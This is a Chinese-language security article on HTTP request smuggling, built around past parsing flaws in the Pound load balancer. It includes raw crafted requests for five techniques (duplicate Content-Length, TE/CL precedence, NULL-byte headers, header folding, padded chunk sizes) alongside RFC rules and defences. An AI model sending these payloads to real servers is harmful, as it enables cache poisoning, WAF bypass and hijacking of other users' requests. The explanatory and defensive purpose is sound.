HTTP Smuggling攻击技术详解
1. 概述
HTTP Smuggling是一种利用HTTP协议解析不一致性来绕过安全控制或干扰请求处理的攻击技术。本文基于Pound负载均衡器的实际案例,深入分析HTTP Smuggling的攻击原理、技术细节和防御方法。
2. Pound简介
Pound是一个开源的HTTP负载均衡器,主要功能包括:
- SSL/TLS终端(处理HTTPS与证书)
- 反向代理
- SSL封装器
- 请求验证和格式检查
3. HTTP Smuggling攻击原理
HTTP Smuggling攻击利用不同HTTP解析器对请求处理方式的差异,通过精心构造的HTTP请求使前后端服务器对请求内容产生不同理解,从而绕过安全控制或干扰正常请求处理。
4. 主要攻击技术
4.1 双Content-Length头攻击
漏洞描述:
Pound在处理包含多个Content-Length头的请求时存在不一致性:
- 如果发送
Content-Length: 0后跟Content-Length: 147,Pound会认为body大小为0 - 如果发送
Content-Length: 147后跟Content-Length: 0,Pound会认为body大小为147
RFC 7230规定:
- 如果消息有多个Content-Length头且值相同,应拒绝或替换为单个有效值
- 如果Content-Length头字段值不同且没有Transfer-Encoding,消息无效,应返回400错误
攻击示例:
GET / HTTP/1.1
Host:localhost
Content-Length: 0
Content-Length: 147
4.2 Transfer-Encoding与Content-Length优先级问题
漏洞描述:
Pound在处理同时包含Transfer-Encoding和Content-Length的请求时,优先考虑第一个出现的头字段,而不是按照RFC规定优先处理Transfer-Encoding。
RFC 7230规定:
- 如果同时存在Transfer-Encoding和Content-Length,Transfer-Encoding应覆盖Content-Length
- 应拒绝此类消息或作为错误处理
攻击示例:
GET / HTTP/1.1
Host:localhost
Content-length:56
Transfer-Encoding: chunked
Dummy:Header
0
GET /tmp HTTP/1.1
Host:localhost
Dummy:Header
GET /tests HTTP/1.1
Host:localhost
Dummy:Header
4.3 NULL字符处理问题
漏洞描述:
Pound用C语言编写,当请求头中包含NULL字符(\0)时,解析器会错误地将NULL后的内容视为下一行头字段。
攻击示例:
GET / HTTP/1.1
Host:localhost
Content-\0dummy: foo
length: 56
Transfer-Encoding: chunked
Dummy:Header
0
GET /tmp HTTP/1.1
Host:localhost
Dummy:Header
GET /tests HTTP/1.1
Host:localhost
Dummy:Header
4.4 Ops-fold语法传输问题
漏洞描述:
Pound在处理包含ops-fold语法(行折叠)的Transfer-Encoding头时存在问题,可能导致恶意语法被传输到后端服务器。
攻击示例:
GET / HTTP/1.1
Host:localhost
Transfer-\0Mode: magic
Encoding: chunked
zorg
Content-length: 57
Dummy:Header
0
GET /tmp/ HTTP/1.1
Host:localhost
Dummy:Header
GET /tests HTTP/1.1
Host:localhost
Dummy:Header
4.5 块大小格式问题
漏洞描述:
Pound在传输分块编码时不会规范化块大小格式,可能导致后端服务器错误解析。
攻击示例:
GET / HTTP/1.1
Host:localhost
Transfer-Encoding: chunked
Dummy:Header
0000000000000000000000000000042
GET /tmp/ HTTP/1.1
Host:localhost
Transfer-Encoding: chunked
0
5. 攻击影响
HTTP Smuggling攻击可能导致:
- 请求拆分:前端和后端服务器对请求数量的理解不一致
- 缓存污染:使缓存服务器存储错误内容
- 安全控制绕过:绕过WAF或其他安全过滤机制
- 响应拆分:向客户端注入恶意响应
6. 防御措施
-
规范化HTTP头处理:
- 拒绝包含多个Content-Length头的请求
- 当Transfer-Encoding和Content-Length同时存在时,优先处理Transfer-Encoding
- 严格验证头字段格式
-
NULL字符处理:
- 检测并拒绝包含NULL字符的请求
- 使用安全的字符串处理函数
-
块大小规范化:
- 在转发前规范化分块编码的块大小格式
- 验证块大小的有效性
-
更新软件:
- 使用Pound 2.8或更高版本
- 应用所有安全补丁
-
网络架构:
- 避免将Pound直接暴露在互联网
- 在Pound前部署支持严格HTTP解析的代理或WAF
7. 测试方法
可以使用以下工具和技术测试HTTP Smuggling漏洞:
- 手动构造请求(使用printf和netcat)
- Wireshark抓包分析
- 专门的HTTP Smuggling测试工具
- 对比前端和后端接收到的请求
8. 总结
HTTP Smuggling是一种危险的攻击技术,利用HTTP协议解析的不一致性实施攻击。Pound负载均衡器在历史版本中存在多个相关漏洞,包括双Content-Length处理、Transfer-Encoding优先级、NULL字符处理和块大小规范化等问题。防御此类攻击需要严格遵循HTTP协议规范,规范化请求处理,并及时更新软件版本。